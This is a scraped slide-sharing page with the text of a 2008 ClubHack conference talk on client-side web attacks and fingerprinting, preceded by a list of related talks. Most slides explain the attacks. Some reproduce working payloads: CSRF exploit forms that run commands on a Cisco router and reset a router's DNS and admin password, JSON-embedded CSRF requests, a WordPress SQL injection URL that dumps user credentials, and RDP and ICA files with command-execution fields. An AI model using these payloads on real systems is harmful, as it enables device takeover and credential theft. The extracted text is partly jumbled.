Thick Application Penetration Testing: Crash Course
Scott Sutherland
 
How to debug IoT Agents
Fernando Lopez Aguilar
 

More from ClubHack (20)

PDF
India legal 31 october 2014
ClubHack
 
PPTX
Cyberlaw by Mr. Pavan Duggal at ClubHack Infosec KeyNote @ Bangalore
ClubHack
 
PPT
Cyber Insurance
ClubHack
 
PPTX
Summarising Snowden and Snowden as internal threat
ClubHack
 
PPTX
Fatcat Automatic Web SQL Injector by Sandeep Kamble
ClubHack
 
PDF
The Difference Between the Reality and Feeling of Security by Thomas Kurian
ClubHack
 
PDF
Stand Close to Me & You're pwned! Owning Smart Phones using NFC by Aditya Gup...
ClubHack
 
PPTX
Smart Grid Security by Falgun Rathod
ClubHack
 
PPTX
Legal Nuances to the Cloud by Ritambhara Agrawal
ClubHack
 
PPT
Infrastructure Security by Sivamurthy Hiremath
ClubHack
 
PDF
Hybrid Analyzer for Web Application Security (HAWAS) by Lavakumar Kuppan
ClubHack
 
PPTX
Hacking and Securing iOS Applications by Satish Bomisstty
ClubHack
 
PPTX
Critical Infrastructure Security by Subodh Belgi
ClubHack
 
PPTX
Content Type Attack Dark Hole in the Secure Environment by Raman Gupta
ClubHack
 
PDF
XSS Shell by Vandan Joshi
ClubHack
 
PDF
Clubhack Magazine Issue February 2012
ClubHack
 
PDF
ClubHack Magazine issue 26 March 2012
ClubHack
 
PDF
ClubHack Magazine issue April 2012
ClubHack
 
PDF
ClubHack Magazine Issue May 2012
ClubHack
 
PDF
ClubHack Magazine – December 2011
ClubHack
 
India legal 31 october 2014
ClubHack
 
Cyberlaw by Mr. Pavan Duggal at ClubHack Infosec KeyNote @ Bangalore
ClubHack
 
Cyber Insurance
ClubHack
 
Summarising Snowden and Snowden as internal threat
ClubHack
 
Fatcat Automatic Web SQL Injector by Sandeep Kamble
ClubHack
 
The Difference Between the Reality and Feeling of Security by Thomas Kurian
ClubHack
 
Stand Close to Me & You're pwned! Owning Smart Phones using NFC by Aditya Gup...
ClubHack
 
Smart Grid Security by Falgun Rathod
ClubHack
 
Legal Nuances to the Cloud by Ritambhara Agrawal
ClubHack
 
Infrastructure Security by Sivamurthy Hiremath
ClubHack
 
Hybrid Analyzer for Web Application Security (HAWAS) by Lavakumar Kuppan
ClubHack
 
Hacking and Securing iOS Applications by Satish Bomisstty
ClubHack
 
Critical Infrastructure Security by Subodh Belgi
ClubHack
 
Content Type Attack Dark Hole in the Secure Environment by Raman Gupta
ClubHack
 
XSS Shell by Vandan Joshi
ClubHack
 
Clubhack Magazine Issue February 2012
ClubHack
 
ClubHack Magazine issue 26 March 2012
ClubHack
 
ClubHack Magazine issue April 2012
ClubHack
 
ClubHack Magazine Issue May 2012
ClubHack
 
ClubHack Magazine – December 2011
ClubHack
 

Aditya - Hacking Client Side Insecurities - ClubHack2008

  • 1. Hacking Client Side Insecurities Club-Hack 2008 Aditya K Sood Founder , Sec-Niche Security
  • 2. $whoami Research Front: •Founder , SECNICHE Security. •Independent Security Researcher. •Lead IS Author and Reviewer for Hakin9 Organization. •Research Author for USENIX and ELSEVIER Journals. •Like to do Bug Hunting. Released Advisories to Forefront Companies. •Active Speaker at Security Conferences. [EU-Sec-West , XCON [07/08] , XKungFoo[08] , OWASP , Cert-IN etc] •Team Lead – Evil Fingers Community. •Projects – CERA, MLABS etc. Professional Front: Work as a Security Advisor / Penetration Tester for KPMG Consultancy. Hacking Client Side Insecurities
  • 3. Web 2.0 Application Model Hacking Client Side Insecurities
  • 4. $ AGENDA [1] Discovering Clients on Internet / Intranet. Web Application Discovery Protocol Fingerprinting Embedded Devices. Rogue Request for HTTP Server Fingerprinting. JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns. Pluggable Protocol Handlers. JavaScript Jacking  JSON Injections [CSRF] HTTP Verb Jacking HTTP Verb Tampering. Insecure Parametric Design of Cookies  Baking with XSS. War XHR and IFRAME Exploiting Patterns. Cross Site Request Forging (Embedded Devices)  The High Risk. Surf Jacking  Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. Hacking Client Side Insecurities
  • 5. Client Side ! Why? • User Interface with the Browsers to Access Content Remotely. • Client System Stores Sensitive Information as Local Cache. • Scripting – an Intermediate Model of Client Server Relation. • No Executables Required , Just Manipulation through Scripts. • Follows the Concept of Spoofing and Hidden Codes. • Exploitable through JS-Jacking and VBS-Jacking with number of Attacks. • Browsers – The Bulls Eye , Attacker Prime Target. • The Concept – Exploitation On the Fly. • Exploitation Trend Change towards Application. • Application Level Attacks Easy to Trigger and Execute. Hacking Client Side Insecurities
  • 7. Fingerprinting ! Why? • Discovering Clients leverage lot of Sensitive Information. • Network and System Configuration is the Target Point to Attack. • Internet , Search Engines Like Google Projects Plethora of Information. • Attacking Intranet Requires the Inside Information of Party. • Garbage Dumps on World Wide Web Servers , A Huge Bonus for Attackers. • Client Side Supports various Protocols [Weak] for Robust Functionality. • Insecure Administration of Servers – Configuration Mismanagement. • Browser Based Insecurities. • JavaScript Jacking on Client Browsers Reveal State Information of Clients. • Every Single Element Discovered, Favors the Attack on Client. Hacking Client Side Insecurities
  • 8. Fingerprinting !  Web Proxy Auto Discovery Protocol. • Protocol used in Discovering Network Proxy Automatically. • Configuration File Contains Intranet Addresses Inherently. • Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File. • WPAD Works on DHCP Behavior. [DHCPINFORM Query] • No DNS Lookup is Required if DHCP Issues a Request. • Protocol Handler  http://wpad.xxxx.com • PAC  Proxy Auto Configuration | Proxy Settings for Subnets. • DHCP Query through  Uniform Resource Locator [URL] • DNS Query through  wpad.dat , File Located in WPAD Root Directory • Function  FindProxyForURL() Hacking Client Side Insecurities
  • 9. Fingerprinting !  Web Proxy Auto Discovery Protocol. • Attack Point  • wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default Virtual Directory. • Browsers have Stringency in Making a Request to wpad.dat if Stored in Root Directory. • No Referrer Check on the Request to wpad.dat File. • wpad.dat  When a Request is issued it Redirects the page to Required Proxy File for Configuration of Browser. Malicious Redirection Can be Done. • When a DHCP Request is Issued no DNS Required. WOW ! No DNS Cache Poisoning is Required. Rogue DHCP Server on LAN do the Trick. • Wpad use JavaScript to Set Browsers for Proxy Settings. Hacking Client Side Insecurities
  • 10. Fingerprinting !  Web Proxy Auto Discovery Protocol. # WPAD definition option wpad code 252 = text; # Suppress WPAD activity - no cache, no DNS. option wpad "n000"; # Configure a valid WPAD cache. The n is required for Windows. # All config below this line is optional. #option wpad "http://www.example.com/wpad.pacn"; class "MSFT" { match if substring(option vendor-class-identifier, 0, 4) = "MSFT"; # They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's # PRL. So we over-ride the PRL to include 252 = 0xFC, which will also # suppress the DHCPINFORMS! option dhcp-parameter-request-list = concat(option dhcp-parameter-request-list, fc); } function FindProxyForURL(url, host) { return "PROXY 192.168.0.1:3128 ; DIRECT"; } Hacking Client Side Insecurities
  • 11. Fingerprinting !  Embedded Devices • Criticality in Determining the Internal Structure. • HTTP Request Parameters are Manipulated. • 301 Moved Permanently Response Code is thrown. • Devices used to Spoof the Internal IP Addresses. • Every Device has its Own Working Approach • Used to Set Cookie in a Different Manner. • Used to Change the parameter of HTTP Header Specifies. • Analyzing the change in HTTP Headers Play the Trick. • Necessary for Application Pen Testing at Infrastructural Level Hacking Client Side Insecurities
  • 12. Fingerprinting !  Embedded Devices | HTTP Header Manipulation Case 1: Response Check 1 Potentially a Net Scalar HTTP/1.1 200 OKrn Device Date: Tue, 05 Jul 2007 17:05:18 GMTrn Server: Serverrn Vary: Accept-Encoding,User-Agentrn Content-Type: text/html; charset=ISO-8859-1rn nnCoection: closern Transfer-Encoding: chunkedrn Response Check 2 - send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1 =084307701560&SignatureVersion=1&Timestamp=2007-02-15T17%3A30%3A13 &Version=2007-01- 03&Signature=<signature removed> HTTP/1.1rnHost: ec2.amazonaws.com:443rnAccept- Encoding: identityrnrn' reply: 'HTTP/1.1 200 OKrn' header: Server: Apache-Coyote/1.1 header: Transfer- Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:13 GMT  send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6 9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp=2007- 02- 15T17%3A30%3A14&UserGroup.1=all&Version=2007-01-03&Signature=<signature removed> HTTP/1.1rnHost: ec2.amazonaws.com:443rnAccept-Encoding: identityrnrn' reply: 'HTTP/1.1 400 Bad Requestrn' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:14 GMT header: nnCoection: close Hacking Client Side Insecurities
  • 13. Fingerprinting !  Embedded Devices | HTTP Header Manipulation Case 2: HTTP/1.1 200 OK The Content Parameter is Date: Tue, 10 July 2007 03:01:36 GMT transformed into XONTENT. Server: Apache This is Generally Shown by Connection: close Potential RADWARE Content-type: text/plain Devices HTTP/1.0 404 Not Foundrn Xontent-Length: rn Server: thttpd/2.25b 29dec2003rn Content-Type: text/html; charset=iso-8859-1rn Last-Modified: Tue, 05 Jul 2007 17:01:12 GMTrn RADWARE Accept-Ranges: bytesrn Device Cache-Control: no-cache, no-storern Date: Tue, 05 Jun 2007 17:01:12 GMTrn Content-Length: 329rn Connection: closern Hacking Client Side Insecurities
  • 14. Fingerprinting !  Embedded Devices | Big IP4 IP Based Session Management Response Check 1 Cookie: service-http=167880896.12345.0000. ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX Lets dissect the Converting to Binary: Pattern of this Binary ( cookie ) == 00001010000000011010100011000000 Number. Converting to blocks of 4  00001010 00000001 10101000 11000000 Convert it into Decimal to see 00001010  10 00000001  1 what is there. 10101000  168 11000000  192 The Internal IP Dissected is  192.168.1.10 This Layout is specific to Working Devices Hacking Client Side Insecurities
  • 15. Fingerprinting !  HTTP Servers  Fingerprinting with Rogue Requests • Fingerprinting HTTP Servers with Rogue Requests. • Web Servers React Stringently to Different Requests. • The Response Code can be used to Analyze the Web Server. • 80% of this Request-Response is Successful. Hacking Client Side Insecurities
  • 16. Fingerprinting ! • Client Side JavaScript Can Leverage Lot of Information of Browser State. Platform : Win32 OSCPU : undefined UserAgent : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Language : en-US AppName : Netscape AppVersion : 5.0 (Windows; en-US) <script language="javascript"> function Product : Gecko browserInfo(form) { var txtInfo; txtInfo = CodeName : 2008092417 "Platform : " + window.navigator.platform Vendor : + "n" + "OSCPU : " + VendorSub : window.navigator.oscpus + "n" + CodeName : Mozilla "UserAgent : " + History :3 window.navigator.userAgent + "n" + ScreenW : 1440 "Language : " + window.navigator.language ScrrenH : 900 + "n" + "AppName : " + window.navigator.appName + "n" + "AppVersion : " + window.navigator.appVersion + "n" + "Product : " + window.navigator.product + "n" + "CodeName : " + window.navigator.productSub + "n" + "Vendor : " + window.navigator.vendor + "n" + "VendorSub : " + window.navigator.vendorSub + "n" + "CodeName : " + window.navigator.appCodeName + "n" + "History : " + window.history.length + "n" + "ScreenW : " + window.screen.width + "n" + "ScrrenH : " + window.screen.height; form.txtOutput.value=txtInfo; return; } </script> Hacking Client Side Insecurities
  • 18. Web Chemistry! Wow! Hacking Client Side Insecurities
  • 19. Client Side Exploiting Patterns Hacking Client Side Insecurities
  • 20. Client Side Exploiting Patterns •Pluggable Protocol Handlers. •JavaScript Jacking  JSON Injections [CSRF] •HTTP Verb Jacking HTTP Verb Tampering. •Insecure Parametric Design of Cookies  Baking with XSS. •War XHR and IFRAME Exploiting Patterns. •Cross Site Request Forging through CSS Parameter. •Cross Site Request Forging (Embedded Devices)  The High Risk. •Surf Jacking  Jacking HTTPS in Traffic Pool. Hacking Client Side Insecurities
  • 21. Pluggable Protocol Handlers •Attack works with XSS etc Vulnerabilities. •Browsers support for the Application Handlers. •Third Party Attack Base. GOOGLE CHROME Browser Support  protocol_handler": { "excluded_schemes": { "afp": true, "data": true, "disk": true, "disks": true, "file": true, "hcp": true, "javascript": true, "mailto": false, "ms-help": true, "news": false, "nntp": true, "shell": true, "snews": false, "vbscript": true, "view-source": true, "vnd": { "ms": { "radio": true } Hacking Client Side Insecurities
  • 22. Java Script Jacking •JavaScript – The Most Critical and Most Usable Scripting Entity. •Irrevocably Supported by Every Browsers. •Active base for Malicious Web Base Content. •Helps in Diversified Client Side Hacking from the Core. •Dynamic Generated Object Malfunctioning. •JS-Jacking  Leveraging System Specific Information. •Attacker Can query Browser Related Information. •Active Encoding Attacks Fused with JavaScript. •DOM Based Calling Pattern for Web Based Attacks. Website Requires JavaScript Support. This anatomy works in both positive and negative manner Hacking Client Side Insecurities
  • 23. Java Script Jacking Hacking Client Side Insecurities
  • 24. Java Script Jacking – JSON Injections JSON Injections  The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF  A different way to Fuse attack with Notation Objects. { "menu": { "id": "<img src="https://books.example.com/clickbuy?book=ISBNhere&quantity=100">", "value": "<img src="https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y">", "popup": "<scriptsrc="https://www.google.com/accounts/UpdateEmail?service=adsense &[email protected]&Passwd=cool&save="></script>" } } Cross Site } Request Forgery Structured in JSON – Google Ad sense Layout. Hacking Client Side Insecurities
  • 25. HTTP Verb Jacking • HTTP  Stateless Protocol. Every Request is Independent of other. • HTTP supports number of Request. • HTTP Verb Jacking  Play with HTTP Requests like GET/POST. • Attack Affect  Applications handling XML Data. Versatile Attack. • Request Schema is Defined in web.xml file. • HTTP Request Functionality is Placed in web.xml File. • Verb Jacking == Verb Tampering. • Exists for a Long Period of Time. In 2006 , I have released a • HTTP 1.0 and HTTP 1.1 Plays a Part. paper called Rogue XML Specifications which list the potential insecurities in Major Flaw  HTTP End Point web.xml file. Check does not Disseminate among http://packetstormsecurity.org/ HTTP Request. Only Parameter papers/general/RogueXMLSpe Check is Performed. All Verbs are cific.pdf Allowed. Hacking Client Side Insecurities
  • 26. HTTP Verb Jacking security-constraint> <web-resource-collection> <web-resource-name>drivers</web-resource-name> The snapshot of web.xml file <description> Security constraint for drivers page for a certain target. The </description> security constraint parameter <url-pattern>/drivers.html</url-pattern> <http-method>POST</http-method> defines the allowed request. <http-method>GET</http-method> </web-resource-collection> The type of Authentication <auth-constraint> allowed. <description> constraint for drivers </description> <role-name>manager</role-name> </auth-constraint> HTTP Verb Jacking  Manager </security-constraint> directories will not be Accessed by GET/POST Request. What <login-config> <auth-method>BASIC</auth-method> about HEAD Request. </login-config> <security-role> <role-name>manager</role-name> J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type of request to handle. [ GET/POST/HEAD etc] Hacking Client Side Insecurities
  • 27. Insecure Parametric Cookies • Insecure Use of Cookies in Session Management. • Where the Security State is ? Majority Fails to Instantiate. • XSS Drags in the Application. Authenticated Cookies can be Undertaken. • The Real Cause  Insecure Design of Cookies with Parameters. Cookie Security Design is Judged by two major factors: 1. Cookie over Secure Channel [HTTPS ] Cookie Security 2. Cookie Extraction through JavaScript Calls. Parameter Check Cookie Security Parameters are :- Secure ( boolean)  Allowed over only HTTPS. HttpOnly ( boolean )  JavaScript document.cookie Fails. Hacking Client Side Insecurities
  • 28. XHR and IFRAME • XHR  XML HTTP DOM based API for XML Data Transference. • Active Mechanism based on AJAX. • XHR Request does not Cached in the History of Browser. • IFRAME Requests have a proper History Caching Layout. • XHR Requests are Irreversible. IRAME is totally Reverse. • Working Functionality of both are Different from Each other. • Number of Client Side Attacks are Exploited by using these Elements. If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page. Hacking Client Side Insecurities
  • 29. XHR and IFRAME <script > var iframe = var oRequest = new XMLHttpRequest(); document.createElement("IFRAME"); var sURL = iframe.setAttribute("src", "http://www.snapdrive.net/files/571814/chrome.txt"; 'ftp://localhost/anything'); alert('Downloading a txt file..please wait.'); oRequest.open("GET",sURL,false); iframe.setAttribute("name", 'myiframe'); oRequest.setRequestHeader("User- iframe.setAttribute("id", 'myiframe'); Agent",navigator.userAgent); iframe.setAttribute("onload", oRequest.send(null); 'read_iframe("myiframe")'); xmlDoc=oRequest.ResponseText; iframe.style.width = "100px"; alert(xmlDoc); iframe.style.height = "100px"; if (oRequest.status==200) { alert('Done...now try editing the Text-Box!'); document.body.appendChild(iframe); Konqueror 3.5.5 Crash [Milw0rm] var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget & Right- Click & Copy to clipboard."; document.write(str.link("http://"+oRequest.responseText+".ex e")); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] [PHP Nuke IFRAME] http://www.example.com/nuke_path/iframe.php?file =ftp://user:[email protected]/public_html/shell.html (or) .htm [Word Press SQL Injection through IFRAME] wp- content/plugins/st_newsletter/stnl_iframe.php?newsletter= - 9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x 3a,user_email)+FROM+wp_users-- http://www.milw0rm.com/exploits/6777 http://www.milw0rm.com/exploits/3512 Hacking Client Side Insecurities
  • 30. Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] <html> <body> <body onload="fdsa.submit();"> <form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx"> <input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-"> </body> </html> [3] EXPLAY CMS CSRF Exploit <img src="http://explay.localhost/admin.php?name =users&page=1&order=user_id&set_admin=2" /> [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm] <html> <body onload="document.wan.submit(); document.password.submit()"> <form action="http://192.168.1.254/goform/formWanTcpipSetup" method="post" name="wan"> <input type="hidden" value="dnsManual" name="dnsMode" checked> <input type="hidden" name="dns1" value="216.239.32.10"> <input type="hidden" name="dns2" value="216.239.32.10"> <input type="hidden" name="dns3" value="216.239.32.10"> <input type="hidden" name="webWanAccess" value="ON" checked="checked"> </form> <form action="http://192.168.1.254/goform/formPasswordSetup" method="post" name="password"> <input type="hidden" name="username" value="mallory"> <input type="hidden" name="newpass" value="gotroot"> <input type="hidden" name="confpass" value="gotroot"> </form> </body> </html> Hacking Client Side Insecurities
  • 31. SURF Jacking – HTTPS at Stake •Vulnerable Play with HTTPS Websites. •Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP]. •Basic Flaw is In Cookie Setting by Respective Servers. •All Insecure Cookie Based Website at Risk. Side Jacking discovered by Errata Security. Surf Jacking discovered by Enable Security But Cookie Insecurity is known back time. Greets to break down into Attacks. Hacking Client Side Insecurities
  • 33. RDP / ICA – Command Execution • Virtual Environment for Clients to Produce Interface with Servers. • Executing Commands and GUI Operations Generically. • ICA  Independent Computing Architecture , CITRIX Applications • RDP  Remote Desktop Protocol , Microsoft Proprietary Protocol. • Basically , Virtual Desktop Working Functionality. • Protocols Defined have Different Working Behavior for ICA and RDP • Application ( RDP )  MTS i.e. Microsoft Terminal Services. • Clients Exist for almost all Platforms [*Nix, Windows etc]. • ICA  Similar to X Window System / XEN Virtual Environment. • RDP Client  RDC + TSC RDC  Remote Desktop Connection. TSC  Terminal Services Connection. Hacking Client Side Insecurities
  • 34. RDP / ICA Citrix Web ICA File: Webica.ini • Trusted and Un-trusted Distinction  Client Modeling Check. • It depicts the trusted behavior of ICA Client from its Origin Point using the webica.ini file. • Trusted ( ICA Client )  Program Neighborhood / PN Agent. • Un-Trusted ( ICA Client )  Web Interface / Direct ICA File Execution.  Structured Dependency over webica.ini file. It is used to set Access Rights. Citrix Application Server File: Appsrv.ini • Custom ICA Connections are defined in it. • Information about Entries in Remote Connection Manager. Hacking Client Side Insecurities
  • 35. Attack Point - ICA Citrix Desktop Connection parameters provide a functionality to feed a specific Command which will get executed when a connection is initiated to the server by the client. Usually instead of the desktop the command gets executed. • [ApplicationServers] • Desktop= • • [Desktop] • TransportDriver=TCP/IP • BrowserProtocol=UDP • DesiredHRES=4294967295 • DesiredVRES=4294967295 • ScreenPercent=0 • DoNotUseDefaultCSL=Off • Description=Desktop • Address=citrix.msdsb.net • InitialProgram=#ROGUE or MALICIOUS COMMAND • IconPath=M:Program FilesCitrixICA Clientpn.exe • IconIndex=1 • ConnectType=1 • MaximumCompression=Off • UseAlternateAddress=0 • Compress=On . Hacking Client Side Insecurities
  • 36. Attack Point - RDP Microsoft Terminal Services RDP has inbuilt option of executing command through shell directly which is a possible attack point of Infection. • screen mode id:i:1 • desktopwidth:i:800 • desktopheight:i:600 • session bpp:i:16 • winposstr:s:0,3,0,0,800,572 • full address:s:www.intlogistics.com • alternate shell:s: Malicious or rogue Command • compression:i:1 • keyboardhook:i:2 • audiomode:i:0 • redirectdrives:i:0 • redirectprinters:i:1 • redirectcomports:i:0 • redirectsmartcards:i:1 • displayconnectionbar:i:1 • autoreconnection enabled:i:1 • username:s:freight . Hacking Client Side Insecurities
  • 39. Thanks and Regards Hacking Client Side Insecurities
  • 40. SecNiche Security http://www.secniche.org Hacking Client Side Insecurities